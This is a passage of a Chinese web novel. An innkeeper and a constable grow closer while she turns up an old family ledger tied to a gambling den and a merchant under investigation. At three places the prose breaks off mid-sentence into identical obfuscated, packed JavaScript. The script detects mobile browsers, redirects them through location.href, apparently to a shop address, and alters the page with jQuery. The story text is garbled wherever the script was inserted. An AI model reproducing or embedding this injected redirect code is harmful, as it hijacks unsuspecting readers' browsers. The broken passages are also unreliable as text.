身子忽然被推着往路边去,属于李弦的气息随之靠近。 她失措地看着他,听他关心问道:“怎么总是心不在焉?出什么事了?” 是路上有人推着车经过,李弦护着她。 但黎映真总不好说自己在想他们之间的关系吧。 她摇头,又怕被瞧出端倪来,只得另寻了个由头道:“自从话本杀得了殿下的认可,加上锦瑟园的事,客来居跟以前就不一样了。” “我知道。”李弦点头道,“现在进出客栈的人里头少不得名流富贾,所以你没发现如今客来居外头巡街的捕快都比以前多了?” 她自然是感受到这个变化的,但作为客来居的掌柜,还与十一娘签订了客栈的发展计划,她在意的重点就集中在经营上。 “我的意思是,那些达官显贵难伺候。”黎映真道。 李弦嘴角一抿,显然认可她的话,再凑近一些,俯身侧耳道:“大庭广众的,小声说话,当心被偷听了去,得罪人。怎么个难伺候?” 知道他总在配合自己,黎映真心头暖意融融,踮起脚尖,当真想是跟他说笑话的样子,掩唇相告道:“说了你也不懂。” 尾音上扬,李弦似乎都能瞧见黎映真身后有条无形的尾巴,得意得就快翘上天了。 快步跟上已转身走开的黎映真,他握着腰间佩刀,昂首,挺胸,一副震慑人却又不甘心的姿态,道:“你教吴二,教阿桃,也没见教我什么,我哪里能懂?” “我教你那么多新词儿,怎么说没教?” “那是我自己听来的。” “我不当着你的面说,你从哪儿听?上哪儿学?” “那么敢问黎先生,这新词儿学来何用?我拿去提审犯人?” “语言是用来交流的,从我这儿出口的新词儿,自然是便于跟我交流。至于李捕快要用来做其他用途,那是你的本事。” 她抬头看着李弦,任由北风从两人之间吹过,是冷的,却吹不散他眼中笑意,暖融融。 那像是在说,新词儿用途只在你我之间。 新词儿之意,天知、地知,你知、我知。 49. 第 49 章 冬日寒意已浸透成安县。 清晨,客来居的屋檐下已有薄薄的霜棱,但后院厨房内却暖意融融,灶火正旺。 黎映真一面搓着手,一面和孙伯一起将最后一点特制的“暖胃胡椒散”仔细分包。 这是她结合药膳思路新琢磨出的玩意儿,准备在冬日里随外卖附赠,算是给码头的力工们送上一点温暖心意。 五味轩开业有一阵子,吴二和赵淮一起盯着,省了她不少力。 可是…… 黎映真揉了揉眉心,那个讨人厌的系统提示音不久前又在脑海里响过一遍,依旧是播报缓慢上升的热度值,也始终都在回避她关于系统漏洞的探问。 这方面一直没有实质的进展,她自然头疼,而另一方面,伴随着客来居出现越来越多微服而来的高门显贵,客栈提供的服务必然要与之前有所提升,这才是她如今遇见的一大问题。 “金玉阁”内,炭火烧得正暖。 这是她为了提升话本杀沉浸体验,同时满足某些贵客“好清静”的要求特意设置的主题雅间。 今日包下这雅间的是茉城来的绸缎商钱老板,据说与官面上有些来往。 因此,黎映真亲自在一旁作陪,介绍着特意为这金玉阁设计的暖冬宴菜单。 “这道‘雪映红梅’以白菇、火腿细丝慢炖而成,口感清润,寓意冬景清雅……”黎映真声音温和,面带微笑,心思却有一半飘在外头。 客来居今非昔比,除了像李弦先前所言,明面上有县衙加派的人手,还有他安排的暗哨在周围监视。 后头那个是她从跟李弦先前的对话里揣摩的,毕竟有些事儿她不能知道,但潜在的危险,李弦不至于一点儿都不透露。 这会儿,她便是忍不住又在想,今日到客来居的这些贵客里,是不是有李弦要盯梢的人?她这客栈,能不能多少帮上他点儿忙? “黎掌柜?”钱老板身边一位作陪的管事轻唤道。 黎映真回神,致歉道:“抱歉,方才在想后厨另一道汤品火候是否到了。先生有什么吩咐?” 管事笑道:“无妨,钱老板是夸你这菜色别致,这雅间也雅静,比茉城,哦不,京城一些大酒楼也不遑多让。” “钱老板过奖了,小店陋室,承蒙不弃。”黎映真道。 话音未落,外头传来其他食客跟李弦打招呼的声音。 黎映真才循声去看,管事已接收到钱老板的意思去开了门。 雅间门一打开,黎映真就跟李弦打了照面。 这人也不客气,嘴角噙着笑就走近过来,与管事寒暄一句,提步进了包厢,笑道:“原是在给钱老板作陪,我道怎么没瞧见黎掌柜呢。” 黎映真知道李弦人脉广,倒不意外他会跟这种富商认识,只在一旁静静看着。 直到李弦坐下,吃了一口金不换焖鸡,立即对黎映真称赞道:“孙伯这手艺是越来越精进了,有劳黎掌柜代我转达,顺道,我想外带一只回去。” 李弦跟客来居里每个人都熟稔,去后厨也是轻车熟路,此时这样说,便是要黎映真先行回避了。 她也是终于明白,这人是有意来找钱老板的,并且接下去的事不能让她知道,于是她道:“我就不打扰诸位了,但有吩咐外头唤人即可。” 离开前,她再看了李弦一眼。 这人像是提前知道似的,守株待兔,见她递来眼色,只是微微一笑,看来是要她安心,可她哪里能真的放心呢? 从雅间出来,黎映真特意嘱咐了阿桃多留意那儿的动静,是怕自己招呼其他客人有所疏漏,或是给李弦的调查拖了后腿。 但她不知自己这样的紧张落在旁人眼里,兴许是另一番意思。 雅间的门多时都未曾打开,黎映真每看一次便忍不住多一分担心。 这样的次数多了,自然逃不过阿桃的眼睛,于是好奇问她道:“掌柜的,你究竟在看什么?是看李捕快?” “是啊。”黎映真脱口而出,又立即补充道,“钱老板可不好惹,我怕李弦搞砸了,影响我的生意。” “哦。”阿桃拖长了尾音,浸润了眼角眉梢的笑意却与那音调有截然不同的意思。 终于,那扇门开了,黎映真跑上二楼。 看钱老板还算满意的样子,她不由松了口气,又提起精神,笑脸相送。 送了人离开,她转身,抬头时见李弦正靠着二楼的栏杆,没有要走的意思。 黎映真回到雅间时,伙计正在收拾残局,而李弦还坐在方才的位置上喝酒。 “要不是我来蹭酒,都喝不到你这店里的好宝贝。”李弦将酒壶里最后一滴酒都倒入了杯中。 “从前不知道,你还好这口呢。”黎映真坐下,看着李弦喝完最后一杯,跟正要离开的伙计道,“让阿桃送碗解酒汤来。” 李弦低笑一声,摇头道:“我不主动喝的,都是情势所迫。” 极其明显的解释,黎映真听着却是一扭脸,怪里怪气道:“这酒后劲儿大,我是怕你回头醉了,给我添麻烦。谁要听你解释了。” “没解释,我只是让你知道,平日里,我不好这口。”最后那几个字,李弦说得慢,视线一刻都没从黎映真身上挪开。 阿桃送醒酒汤进来时,只瞧见黎映真侧身坐着,李弦似笑非笑地看着她,两个人彼此之间没说话,却又好像说了很多似的。 她放下东西,又看了看这二人,想说什么,但还是把话都咽回了肚子里,悄然出去了。 李弦一口闷了那碗醒酒汤,还倒提着给黎映真看,道:“我都喝了,一滴没剩。” 黎映真瞥了一眼,抿着嘴角,低头剥起了指甲,分明已向李弦回转了面向,偏不去看他,道:“知道了。” 顿了顿,她还是主动问道:“你在查那个钱老板?” 李弦转着空碗玩,嘴角扬高了几分,道:“是。” “咚”的一声,碗被放去桌上,李弦脸上的笑容浓了几分,问道:“五味轩的生意如何?” 这就是点到即止了。 虽然知道这是李弦不想她卷进其他复杂的事中,可被他拒绝,黎映真多少有些失落。 “我有那么多人帮着,你不用担心。”李弦安慰道。 “谁担心你了。”黎映真又扭过脸去,咬着唇有些不甘心,于是学着李弦的话“回敬”他道,“我有自己的伙计帮着打理五味轩,不劳你操心。” “那不行。”李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121923|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弦挺直了腰杆,打起了官腔,“码头那儿最近不太平,有几伙外地来的力工在争地盘,你跟吴二他们过去的时候都要小心些。” 黎映真蹙眉,码头势力错综复杂,她是知道的,于是点头道:“知道了。” “就这样?” “那要怎样?” “我这可是给你通风报信。” 李弦故作夸张的模样教黎映真忍俊不禁,但她依旧努力憋着,道:“哦,你透露机密的事儿我不会去告发的。” 李弦不知是被她这话堵住了,还是另有心思,没接着说下去。 待他再开口,声音便是伴着那站起的身影一起,道:“走了。” “你在楼下等我一会儿。”黎映真转身跑出了雅间。 虽不知她打的什么主意,但李弦还是依言在黎映真平日算账的柜台前耐心等着。 不多时,那豆绿色的身影从后院跑了出来,手里还拿着一包用纸包好的东西,递给李弦道:“拿着。” 原不知那是什么,但李弦指尖一触到那隔着纸透来的温度,当即明白了。 他直接将那纸包裹进怀里,道:“黎掌柜大气。” “贫嘴。”黎映真嗔道,“夜里饿了就垫肚子,省得你可怜到要蹭别人的吃喝。” 嘴上不饶人,可那漾在她眸中的眼波里尽皆笑意。 李弦听着,又裹紧了些,点头道:“知道了,多谢黎掌柜。” 听他说完,看着他转头离开客来居的背影,黎映真总像是不放心似的一直跟到了客栈门口。 直到他彻底消失在冬日尚且明媚的阳光里,她才终于叹了一声。 李弦或许知道很多事,却也并非什么都知道。 譬如今日黎映真亲自招呼钱老板的原因,他就未必猜得到。 得益于如今客来居和五味轩红火的生意,她也能从不同的客人群体中知道比过去更多的消息。 比如李弦口中提到的那些外地来的力工,其中有些人来自茉城。 那帮人闲时就聚在一起赌上几把,好几次码头上闹出矛盾都是因为聚赌,但他们没多大的规模,即聚也能即散,不用等衙门的人来,他们就都散了,没有实质把柄。 她从其他人口中听过那些人说起茉城赌坊的事,还提过那里有个姓周的帮闲,那模样描述,和周坚是有几分相似的。 而今日这位钱老板,在茉城有不少产业,平日也有赌两手的嗜好,跟当地大大小小的赌坊都有交集。 这样客人,如何能不引起黎映真的注意? 如果不是李弦今日出现打断了她的计划,她必然是想从钱老板口中探些消息的。 但如今连李弦也格外关注钱老板,她更确定,过去看来没有联系的人和事也许都在冥冥中有了牵连。 而她和李弦在将来也会有更多交集,到那时候,他们之间未必会像现在这样和谐。 李弦确实能帮她,甚至可能只是在追查自己手中要案的同时,顺手替她解决问题,但她不能心安理得得接受他的帮助。 总之应该主动做些什么,不管是为了能更好地在这个世界立足,或是解开心里的疑惑,还是协助李弦追查线索,眼前若有机会抓住就是了。 50. 第 50 章 黎映真如今在客来居和五味轩两头跑,除了兼顾生意也留心着身边的各种消息,日子不可谓不忙碌。 这日从五味轩出来,她却没急着回客来居,而是裹着身上半旧的袄子踏进了一间当铺。 今时不同往日,柜台后的伙计抬了抬眼皮,认出是她,脸上立即堆满了笑容,道:“黎掌柜,今儿是来……” 一张保存完好的当票被放在柜台上,黎映真道:“赎当。” 当初迫不得已,她当了原身母亲留下的首饰作为盘活客来居的本金,如今刨除各项成本和每月给黎家的分红,已有足够盈余赎回,她便立刻来了。 伙计看了当票,一面去取东西,一面恭维道:“当期还没满,很少有人这么快就能赎回当头的,黎掌柜真是厉害。” 没一会儿的工夫,伙计捧着一个托盘出来,上头放着的正是当初黎映真来典当的一只玉镯和两根玉簪子。 “黎掌柜你看看,东西都给你好好保存着呢。”伙计说着话,又开始打起了算盘,“连本带利,一共是……” 黎映真听着算珠噼里啪啦被打响的声音,自己检查了托盘里的东西,交付了银钱,小心翼翼地将镯子跟簪子包好,揣进怀里,转身离开了当铺。 她还记得自己当初来典当时的狼狈和无奈,但好在天无绝人之路,如今心底对原身的亏欠得到了弥补,只要她继续努力地活下去,这些属于原身的东西,她总还是能留下的。 心情好,黎映真看连这天儿都似乎比来时晴朗。 她揣着东西回客来居,想着自从来了客栈落脚,还没好好收拾过带出来的东西——后头几次回黎家交付分红时,她特意又带走了一些原身和母亲留下的东西,加起来也有将近两个箱子,索性趁着今日得空,都收拾收拾。 她没让阿桃帮忙,一个人在后院特意腾出来的那间房里整理。 樟木箱子一打开,一股陈旧的霉味混着樟木香扑面而来。 箱子里多是些衣裳跟小物件,还有一些泛黄的书信。 黎映真一件件翻看,做好分类分区,想着就算以后这些东西都只能压箱底,但好歹是曾经两个女子真正存在过的证明,哪怕其他人都不记得她们,她也会以一个素未谋面的陌生人的身份保留下这些痕迹。 能隔着两个时空彼此产生交集,怎么不算缘分呢? 整理到第一个箱子的最底层,一个硬硬的东西引起了黎映真的注意。 她拿开放在腿上的一叠衣物,扶着箱壁略微站起身,朝箱子里头瞧,发现那是一个用油布裹得严严实实的包裹。 拿出包裹,她小心地拆开油布,一本蓝皮封面的册子出现在眼前,封面上没有字,里头的纸张泛黄发脆,边角有些磨损,显然是有些年头了。 她疑惑地翻开,映入眼帘的是一行行娟秀却陌生的字迹,记录着日期、商号名称、货物种类、数量以及金额。 这看着像账本,却又不完全像那么回事,更像是单纯的生意往来记录。 黎映真来了精神,抱着册子去窗口,就着明媚天光仔细翻阅起来。 越看,她的眉头皱得越紧。 这册子记录的是黎家早些年,似乎是原身母亲还在掌管部分家业时的经营情况。 涉及的商号名字有些陌生,但交易的金额却都不小,而且颇为频繁。 突然,她的目光定格在其中写着“裕丰行”的一页纸上。 没记错的话,裕丰行本家在茉城,在成安县有分店,之前来过客栈还被李弦盯上的那位钱老板,跟这家商行有不少往来。 再往下看,黎映真发现,好几笔跟裕丰行交易的经手人签名,竟然都是黎世昌,甚至还有一间赌坊也被列了出来。 她初来这个时空时一切匆忙,根本没有了解过黎家的具体情况就直接出来了,更别提知道黎家究竟有哪些生意上的渠道,真正和哪些人有往来。 但如今有了这个本册子,加上她通过客来居了解到的各种消息,也许能对黎家的产业有所窥探,说不定能发现什么秘密? 她忽地想起李弦要她尽快和黎家切割的提醒…… 将册子重新用油布包好,黎映真将它放在身边,匆匆将剩下的东西收拾了,又将包裹揣进怀里,急忙离开了客来居。 将近李弦下值的时间,黎映真带着册子出现在青果巷外。 天冷得她在李弦家门外拢紧了身上的袄子,来回跺着脚,不时朝巷口张望,期盼想见的那个人能及时出现。 隔壁的邻居老伯许是听见动静出来探看,见是黎映真,道:“又是你啊,找李弦?” “是啊,有些急事找李捕快。”黎映真道。 老伯道:“还是上衙门找吧,他这几日都没回来,该是住在衙门里了。” 听着老伯的话,李弦像是遇见了棘手的事,可黎映真分明天天都能见着他在五味轩出现,他们还一块儿去码头,没听他说有异常。 这才不知外头变了天,黎映真暗骂一句这人又报喜不报忧,就想再去衙门一趟。 不想两人在巷口遇上了。 “出事了?”黎映真抓着李弦就问,不知自己这副仓促关切的样子全落入了李弦眼底。 只见他前一刻还蹙着眉,若有所思,当下眼底就泛起笑意,黎映真更急了,催促道:“问你话呢。” “你怎么过来了?”李弦答非所问。 也是见她一张脸被冻得有些发红,他反手扣住了她的腕子就往家里带。 开门,进院子,拉着人进屋,又是拿炭生火,这才关上门。 一连串的事做完,他身上又暖和了些,倒是瞧着黎映真坐在椅子上,缩着脖子,显然还是冷。 他左顾右盼一阵,进房拿了件干净的衣裳出来,不由分说地裹在黎映真身上,少见地数落起她的不是来,道:“有事你让人去衙门叫一声,我自然就去客栈找你了。我这儿连热水都没有,白受罪。” 说完了,他又去看盆里的炭,眼见烧得不够旺,便干脆拿扇子多扇了几下,再往黎映真脚边挪。 他还不放心,就着蹲在盆边的姿势又往盆里吹了几口气,问道:“暖和些了没?” 其实没什么变化,但黎映真裹紧了外袄,点头,垂眼看着他,道:“好多了。” 她忽地从椅子上下来,蹲在李弦身边,跟他一样伸手在炭盆上方烤火,道:“这样更暖和。” 两人挨在一块儿,听着炭火燃烧的哔啵声,各自烤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133457|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火搓着手。 没一会儿,黎映真先从怀里拿出那个包裹,道:“你看看。” 李弦不疑有他,接了东西就坐去椅子里。 见是一本封面空白的册子,他已察觉蹊跷,却没立即打开,问黎映真道:“这是?” “在我娘的一个旧箱子里找到的。”黎映真也坐下,脸上没什么表情,只是嘴角抿紧了又松开些,如此反复着,犹豫多时才开口道,“不知能不能帮上你。” 按在册子上的指尖不由收拢,落在黎映真身上的眸光也变深了些,李弦问道:“你过来就是为了这个?” “嗯。”黎映真点头,“我不敢贸然将东西带去衙门,来回传消息又麻烦,所以干脆自己过来。没想给你添麻烦。” 看着盆里越烧越旺的炭火,脑海中挥之不去的是李弦进门后那一连串忙碌不停的身影,想来这人日常独居,一切从简,今日光是这盆炭就又麻烦又破费了。 李弦将册子收好,道:“东西我收了,但我无以为报,只能多给黎掌柜做几个月护卫,你以为如何?” 这人就是有瞬间“破坏”气氛的本事,但黎映真不恼他又拿出这副吊儿郎当的样子转移话题,只是她这会儿也没顺着他的话接下去说。 “那你如果真遇到了棘手的事要提前告诉我。”她看着李弦,神色郑重,“再报喜不报忧,我以后都不许你进客来居的门。” 又想这人惯会耍赖讲歪理,她再补充道:“后门也不行,翻墙也不行。” “我这还没报喜呢。”李弦回应着黎映真的注视,当着她的面,将那个包裹揣进怀里,再拍了拍,“等真解决了这件事,我第一个告诉你。” “谁稀罕。”黎映真转过视线,藏在外衣的手攥紧了衣襟。 这衣上洗干净了都还满是属于李弦的气息似的,这会儿裹着她的身体,与她的体温融在一起。 “还有……”黎映真期期艾艾,目光落在那盆炭火上,足尖下意识地在地上轻轻划动,“我又攒了一些银子,距离上回你说……尽快……尽快完成跟黎家撇清关系的提议……又进了一步……” 原是不用特意告诉李弦的事,但她就是忽然想让他知道。 这人不长嘴,她却是个分得清好坏,听得进话也愿意落实的人。 她跟他,可不一样。 虽然,她也不清楚为何要在这种事上,跟李弦较真。 李弦闻言发笑,起身道:“既然如此,不妨庆祝一番。我请黎掌柜下馆子,走吧,顺道送你回去。” 这间屋子不大,盆里的炭也不见得多暖,她裹着李弦的衣裳还觉得有些冷,可坐了这些时候,她竟有些舍不得走。 也许是比起客栈总是人来人往的热闹,这里安静;也许正是因为这里空间小,有她和李弦一起待着显得正正好好…… “我能再坐一会儿吗?”她抬眼看着李弦,没有平日的雷厉风行,柔和的神情里居然还有一丝小心翼翼。 李弦算算时辰,笑道:“都快到晚膳的时候了,再坐,我就该留你一块儿吃饭了,但还要生火,而且只能家里有什么吃什么。” “嗯。”她点头,身子没动,落在李弦身上的目光就好像在问:“可以吗?” 51. 第 51 章 暖意自炭盆渐渐散开,沾上黎映真的裙角,一点点裹满她的全身。 颊上也有些发烫。 李弦看着眼前这个裹着自己衣裳的身影,有些出神,却也没忘要回答她的问题。 他转身去开门,道:“当然可以。” 开门的动作都变得小心,怕门扇开大了有冷风灌进来,将好不容易暖起来的屋子弄凉了。 “砰”的一声,声音不大,却也足够吸引黎映真的注意。 她猛地站起,问道:“怎么了?” 李弦蹙着眉,朝门外使了个眼色。 见他往旁边挪了挪,黎映真立即上去。 怕出声引起外头的注意,她用嘴型问道:“危险?” 李弦只是指了指门外,神情严肃。 说不上哪里怪,黎映真狐疑地盯着李弦,却又无法从他脸上找到答案,只能她自己一看究竟。 她贴着门扇,轻手轻脚地打开一条缝,做贼似的朝外头窥探。 已经暗下的天光里,有无数细碎的影子,在吹过的北风里飞动。 下雪了。 顿感惊喜的瞬间意识到李弦又诈自己,黎映真恼得回头瞪他,却只落入这人氤氲着笑意的目光里,比那因炭火而生的暖意更温和。 “幼稚。”黎映真数落道,正想开门出去,但门板却被李弦按住,“怎么了?” “外头冷,在屋里看吧,我去找找家里还有什么能吃的。”李弦道。 她拉住李弦,道:“算了,做顿饭也麻烦,我请你去客来居吃,再送你一个标间。天寒地冻的,让你明天能多睡会儿再去衙门。” 李弦没与她客气,重新找了件外穿的斗篷给黎映真披上,两人这就一块儿回了客来居。 一路上,黎映真不是小跑着追飞雪玩,就是探头探脑地看,几乎忘了身边还有人。 李弦看她这副新奇样,起初还问她怎么下了雪就这样兴奋,后头就随她去了,只安静跟着,不至于教她在街上玩过了头,出意外。 这样回到客来居,黎映真脱下斗篷时,还在不停地喘大气。 阿桃迎上来,看黎映真是一个人出去两个人回,手里还拿着一件明显是男子的斗篷,瞬间明白了,只问道:“掌柜的吃了吗?要准备什么菜?” “就李捕快平日喜欢的菜就行。”她还在拍着斗篷上因为雪珠化开而沾染的水珠,看李弦也过来了,又道,“衣服我洗干净了还你。” 李弦从她手里接过斗篷,往客栈里头走,道:“来不及,明日还要穿去衙门呢。” 黎映真跟着他找了空位置坐,等了没多久,热腾腾的饭菜就送了上来。 二人正一块吃着,客栈门口的棉帘子被挑开,来的正是吴二。 “掌柜的才吃上?”吴二搓着手过来,“李捕快。” “你吃了吗?要不一块儿。”黎映真道。 “吃过了,我这不是那边打烊了就回来看看咱这儿还有什么要帮忙的。”吴二道,“对了掌柜的,今儿这雪一下,明儿路可能不好走,你就别过去了,我跟赵先生安排人手去码头,总之你放心。” “吴二如今越发有掌柜的样子了。”李弦道。 “我这才哪儿到哪儿,不都是咱们家掌柜的教得好,还有李捕快给咱那铺子找了赵先生那么个好帮手。”吴二笑道。 “得空的话,我还是过去看看吧。这雪还不知什么时候停,还能下多大。我不是不信你,是我怕咱们这头一年,万一真遇见问题没有先例,不好解决,多个人多出份力。”黎映真道,“对了,我交代你的事怎么样了?趁着李捕快在,你直接跟他说吧。” 吴二坐下道:“掌柜的要我平日多留意新到码头的力工,所以我就趁着去送外卖的当口,跟他们聊,还真有些收获。 “原是打茉城来的那两伙的人互相不对付,这阵子不知怎的,两边都消停了。听说是跟‘永利赌坊’有点关系。” 大魏朝官面上禁赌,但民间赌坊和地下赌坊依旧存在,只要没闹出事,官府一般只是睁一只眼闭一只眼。 而这个永利赌坊就是成安县颇有名气的一个地下赌坊,曾经周坚就经常出入。 吴二压低了声音道:“听说是赌坊那儿出了点事,具体打探不出来,只说是有人闹事,还见了血。” 不好的预感涌上心头,黎映真追问道:“还有其他消息吗?” “那些人防备心挺重,我这也都是从别人那儿听来的,再要多,眼下也探不到。”吴二也觉察到不对劲的地方,试探道,“李捕快,咱们县里该不是出了事儿吧?” “真出了事儿还有你这太平日子?”李弦边吃边回答道,“你们家掌柜是担心码头那儿人多眼杂,回头伙计们过去遇见找麻烦的,所以跟我打了招呼,要多留意。这不是眼下咱俩通个气,如果真出了麻烦,也好办事。” 这人信口胡诌的本事炉火纯青,黎映真见吴二完全被唬住了,一时间哭笑不得,只又叮嘱吴二道:“总之码头那儿一切小心,咱们说到底也只是去做生意,其他的不插手。” “这是自然,我都跟店里伙计吩咐过了,不能惹事。”吴二承诺道,看正事儿说完了,他这就找阿桃去帮其他忙了。 李弦三两口将碗里剩下的饭都吃光了,看黎映真只端着碗没动作,他若无其事道:“这就吃饱了?” “册子上有永利赌坊的名字。”说完,黎映真继续吃饭。 她不是不能接受黎家暗中接触灰色产业,但当真的发现事情可能超出自己预期的时候,心情复杂总是难免。 李弦确有不能同她说的事,又见她这样担心,只得安慰道:“事情还要慢慢查,就算真有关联,也与你无关。至于家人之过,犯事者自有要承担的罪过。” “我既然将册子交给你,就代表我支持你说的。可是我有另一些暂时不便说明的原因,让我对眼下的情况感受非常复杂。” 那股不知是否源于原身与黎家相连的血脉而产生的情绪,影响了她的心情。 她占据的这个身体依旧保留着关于黎家的记忆,是在潜移默化里仍旧将自己归为黎家一员的。 所以她才会有那些不受控制的情绪,但好在对她的影响不深,也总像是另一种无形的提醒,让她清楚地认识到自己存在在这个时空的目的。 “搭档。”系统突然出现,“请记住你的任务,不要过多参与非必要事件,否则将对热度值产生不良影响。” “狗血宅斗争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137925|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家产的戏码不精彩吗?” “这……” “我受制于核心区设定,再怎么经营客栈,也没办法离开成安县。上限已定,不多想想办法,怎么提高热度值?” “话是没错,但主机如果检测不到主线进度也会判定任务失败。” 近来少有跟系统长时间对话的机会,黎映真决定抓住这个机会试一试。 “成安县就那么大,客来居的规模只会因此受限,但我要不断升级经营才可能创造更多热度值从而活下去,所以未来,不是你帮我摆脱核心区设定,就是我要多开客来居分店……” 就在这时,一阵极其尖锐疼痛猛地刺入黎映真的脑海,几乎要撕裂脑仁一般。 剧烈的疼痛让黎映真闷哼一声,眼前阵阵发黑。 感觉到手里的碗筷被拿走,她立即扶住身前的桌子,哑着嗓子道:“我没事。” “黎映真。” 熟悉的声音,熟悉的名字,可这会儿组合在一起却有些陌生呢。 她忍过了最初的那阵痛苦,慢慢抬头去看李弦。 他又是着急又是紧张的样子,跟平日里完全不一样,像是换了个人。 但那直白、毫无掩饰目光落在她眼里,暖着她的心,让她莫名高兴。 “我真没事。”她竖起食指搭上唇,做了个噤声的手势,“别让他们知道,免得多几个人担心。” 大堂里还有零星的其他食客,总是不好有太大的动静。 李弦只能默默看着她,静静守着,当再回过神时,才察觉自己的手已下意识扣了她的手腕多时,掌心后半截几乎压在她的手背上。 她的手很凉。 额上贴来一片暖意,黎映真回过神时只听见李弦庆幸道:“好在没受凉。” “当然没有。”她眉心微微拧着,显然还没完全从先前的疼痛中缓过神,但依旧坐着,没动,看着李弦收回手,看着他神情放松下去,“我只是跟某些人一样,有自己的坚持。” 李弦低笑一声,明知故问道:“哪些人?” 没有回答的声音,只有黎映真在他身上不住打转的目光,答案昭然若揭。 他倒是坦然,干脆身子一歪,倚着桌子,一手支起脑袋,大大方方,任由黎映真看。 他自然也看黎映真,看她渐渐恢复了精神,确定她没事,才能彻底放心。 “还没说是哪些人呢?”他不依不饶,故意追问。 黎映真抬了抬下巴,见他灿然一笑,她跟着扬起嘴角,“说话的艺术里有一项叫留白,自己体会吧。” 李弦垂眼,敛容道:“你我做个约定吧。” “什么约定?” “你真想查我不阻拦,但不论你用什么方法,保证自己的安全是首位。” “没问题。” “还有,如果是我让你停下,一定要停。” 比起李弦歪斜的身姿,黎映真坐得端正,她看着李弦问道:“你这是以退为进?” “是君子之约。”李弦道,“如何,答不答应?” 黎映真本该庆幸,李弦始自己以礼相待,不拿身份压人。 可她垂下眼睫,轻声道:“可我怕你到时候说,你不是君子。” 52. 第 52 章 李弦所谓的那个君子之约,最后也没有真正得到黎映真的首肯。 有些事,彼此心照不宣。 今年的第一场冬雪断断续续下了三天。 太阳终于露了头,但笼罩成安县的只是明媚却没多少温度的阳光。 自从那日将册子交给李弦,黎映真至今都没在见过他,就连老梁巡街路过,都只是与她匆匆点头,神色间带着匆忙与回避。 不知他是不是从册子上找到了线索,眼下手里的案件推进到什么程度。 黎映真一面记账,一面分心想着李弦那儿的情况。 天冷得她写不下几个字就要停一停往手里呵气,视线又不自觉地朝客栈门口跑,每每见着那块棉帘动了,她便跟着伸长了脖子去看。 厚重的帘子又一次被推开了缝隙,黎映真朝那漏进客栈的阳光里瞧。 的确来人了,但不是李弦。 是赵淮。 搁了笔,黎映真匆匆从柜台后头绕出来,问道:“赵先生,你怎么过来了?” 找了角落里的空位坐下,她听赵淮道:“码头那儿气氛不太对,管事差我过来告诉掌柜的一声。” “怎么了?” “来了好几艘陌生的货船,卸货的人看着眼生,手脚麻利得很,却不太像寻常力工。而且……”赵淮顿了顿,眉头紧锁,“从昨天半夜开始,永利赌坊后门那儿,不断有生面孔进出,神色鬼祟。我瞧着总觉得要出什么事。” 联系李弦这几日仿佛人间蒸发一样的行踪,黎映真猜那人大概是要有什么动作了。 然而她又捕捉到赵淮言辞间的异常,问道:“你大晚上的去永利赌坊?” 这下换赵淮被问住,声音噎在喉间,半晌说不出话来。 “多亏他上心,给我找了个这样厉害的账房先生。”黎映真道。 赵淮以为她恼了,忙解释道:“他是实在担心自己不在时发生意外,所以才……我真是账房,只是顺带替他办……” 看赵淮急着解释的模样,黎映真反而笑了,道:“我当然知道你是个厉害的账房先生,李弦也不会在这种事上坑我。况且,你特意找我说这事儿,就是没想特意瞒着。他的意思吧?” “嘿。”赵淮低头笑了一声,“他就是怕你遇着麻烦,所以让我代劳做他的眼睛,需要的时候替他出点儿力。也没说一定要隐瞒,他还是坦荡的,黎掌柜以为呢?” “是,可是个坦荡君子呢。”黎映真咕哝道,但那颗心却已完全提了起来,“辛苦赵先生了。麻烦回去转告吴二,天寒地冻,铺子里没事了就让大伙早些回去歇着吧。” “诶,这话我一定带到。”说着,赵淮起身告辞。 送走了人,黎映真却再没心思管先前的账,索性把东西都收起来,去做些跑堂走动的活儿,分散些注意力,也好过总忍不住胡思乱想。 接下去一整天,客来居里总有个坐立不安的身影。 黎映真每隔一阵就要去客栈外头看看,晴好的天光下,成安县一切如常,贩夫走卒,市井烟火,再都普通不过了。 可越是看着这样稀松平常的景象,她越是忐忑——这样的寻常的日子,李弦应该到了时辰就下值,有事没事都要过来看看,哪怕来找她讨几句嫌弃呢。 渐渐地,夜色四合,周围寒气更重。 客栈虽然打了烊,黎映真却没关门。 大堂里点着灯,她特意烧了盆炭,烤着火,静静看着那一大片垂着的棉帘。 外头更夫的梆子声敲过了一遍又一遍。 戌时,亥时,子时…… 周围太安静,静得那敲梆子的声音就像贴在她耳畔似的,每响一声,她的心就跟着颤一下,眉心也随之拧紧了一分。 炭火的噼啪声里还有她刻意压制的呼吸声,又沉又重,借以平复不断累积的担心。 